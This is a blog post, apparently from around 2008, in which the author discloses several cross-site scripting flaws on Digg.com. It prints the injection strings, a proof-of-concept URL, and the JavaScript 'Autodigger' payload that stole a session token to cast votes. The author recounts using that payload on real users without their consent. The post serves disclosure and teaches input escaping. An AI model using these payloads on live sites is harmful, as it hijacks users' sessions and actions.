How I hacked Digg

Two weeks ago I filed a bug report on Digg.com, explaining several XSS vulnerabilities and bugs I found. Some of these were (and some still are!) very critical. A day later, I got an automated response to my report:

We’ve contacted our development team who are investigating the issue, and will fix it as soon as possible.

All well and good I thought, but when a few days ago all vulnerabilities were still there, I decided to exploit one of them.

The XSS Vulnerability

The Links you can add to your profile weren’t escaped properly. Angle brackets (<) were stripped from the URL, but quotation marks were not. This allowed a very simple hack: I could just enter something like this as an URL

http://www.google.com" onmouseover="evilscript();

Resulting in the following HTML on my profil page

<a href="http://www.google.com" onmouseover="evilscript();" rel="me">FooBar</a>

Of course, this is only a tiny link on my profile page. How big is the chance for someone to mouse over it? Well, this was easily fixed with some CSS styles in my URL:

style="z-index:999999; position:absolute; top:0; left:0; font-size:200pt; text-decoration:none;"

Note the text-decoration:none; – this allowed me to enter something like as the link description, resulting in an invisible layer floating above all the content. My Javascript code was executed as soon as someone visits the page. Perfect!

Screenshot with visible characters instead of blanks:

An Exploit: The Autodigger™

So, what did I do with this evil exploit at hand? Steal user cookies? Narr, too mean. Write a worm? Mhh… sounds like fun, but it wasn’t worth the three months of community service. Writing something that automatically digged a story of mine was far more compelling and also a lot easier!

I just had to get the users diggcheck – a unique token stored in the session on Digg’s servers, to verify that the request comes indeed from within the Digg.com domain. After that, I needed to send an HTTP POST to actually Digg the story. Luckily, Digg relies heavily on Javascript, so I already had an Ajax library at hand.

I got the diggcheck token by loading a “Digg This” button into an iframe and then posted the request through a library function. I also could have just submitted the form in the “Digg This” iframe, but that would have forwarded the user to the actual story – not very secretive. My final code looked something like this (cleaned up for readability – I had to spread this code across three links, because Digg only allowed 255 chars per link):

var AjaxCode = 'Ajax.Request(' + '"/diginfull",' + '{' + 'method:"post",' + 'parameters:"id=6830157&row=1&type=s&pagetype=4&digcheck="' + '+this.contentWindow.document.forms.f1.digcheck.value,' + 'onSuccess:(window.opener?window.close:null)' + '}' + ');' ; document . body . innerHTML += + '\u003Ciframe height=0 ' + 'src=\'/tools/diggthis.php?u=http%3A//www.phoboslab.org/log/2008/04/asaph-1-0\'' + 'onload=\'' + AjaxCode + '\'\\u003E\\u003C/iframe\\u003E' ;

My code was working nicely, so now I only needed some users to visit my profile page. I clicked around and added about everyone as a friend – resulting in lots of hits on my profile page and diggs on my story. Apologies to everyone I annoyed with this!

In the end, my story had about 180 diggs, yet it did not make it to the front page – Digg had fixed the bug! One done, some more to go…

Even more XSS

In the hope that Digg would now listen, I sent them a second email. Only to be answered by an auto responder:

Thanks for getting in touch with us regarding this issue. We’re working hard to correct it and apologize for any inconvenience you’ve experienced.

A third email remained completely unanswered. So, here’s a list of the remaining issues I found. Let’s hope they won’t ignore it again.

Titles of non existing pages are not escaped in the API Wiki

Really stupid behavior – and as it seems, not even Digg’s fault, as this is a commercial Wiki application. This demo will render your current Internet Explorer session unusable: "Click at your own Risk! Here’s a screenshot.

Quotes are not escaped on the “Create an Account” page

To see this bug, go the Digg signup form and insert " style="border:80px solid #f0f; as the username.

This only works, when the user is not logged in. Furthermore, the form only accepts POST data – however there’s nothing stopping anyone from sending cross domain post requests.

Quotes are not escaped on the “Search for Friends” page

This is a huge security hole. If I know someones username and send him a link, I can basically exploit it the same way as I did with my Autodigger™. Here’s a simple proof of concept (exchange USERNAME with your actual Digg account name):

http://digg.com/users/USERNAME/friends/add/search?needle=%22+style%3D%22position%3Aabsolute%3Bz-index%3A999999%3Btop%3A0%3Bleft%3A0%3Bwidth%3A1500px%3Bheight%3A1500px%3B%22+onmouseover%3D%22alert%28%27exploited%21%27%29%3B

Again, here’s a screenshot.

Bugs, Bugs, Bugs…

There are even more bugs on Digg. Nothing that I could exploit, but still annoying stuff.

Their overall decision to use PHPs strip_tags over htmlSpecialChars in just about every user input field is a very poor one. Firstly because input like “I really <3 this story” is truncated to “I really” and secondly, because quotation marks and ampersands are not escaped at all. This made many of the vulnerabilities listed here possible in the first place.

Then there are input fields which are presumably filtered through stripSlashes twice. The About Me textfield for instance suffers from this. Text like “Yeah \o/” becomes “Yeah o/”.

Newlines (

) are not escaped in any search forms I found on Digg. This can trigger Javasrcipt errors and is possibly even exploitable. See here: http://digg.com/search?s=asdf%0Aasdf

I could go on…

Conclusion

Digg is a huge website. I don’t blame them for having a few bugs, as it gets harder and harder to stop exploits when new browser technology comes around on a monthly basis.

However, I do blame them for not listening to bug reports and emails. All this stuff could have been fixed weeks ago. Do they wait for every vulnerability to be exploited before they even consider fixing them, or did my mails simply get lost somewhere? I really don’t know, but I hope they will fix these issues now.

Update:

Both, Digg and PBWiki, have now fixed all critical bugs. I was surprised to see how open they discussed this issue. I expected way more secrecy from them after all my previous mails remained unanswered (albeit unintended, how I learned). I also had a brief email conversation with Digg’s Joe Stump. He explained, that they’re planning to switch all input sanitization to htmlSpecialChars() soon.

Still, my Digg story about all of this was hindered from reaching the front page even after all critical bugs were fixed. This is understandable, but of course very unfortunate for me.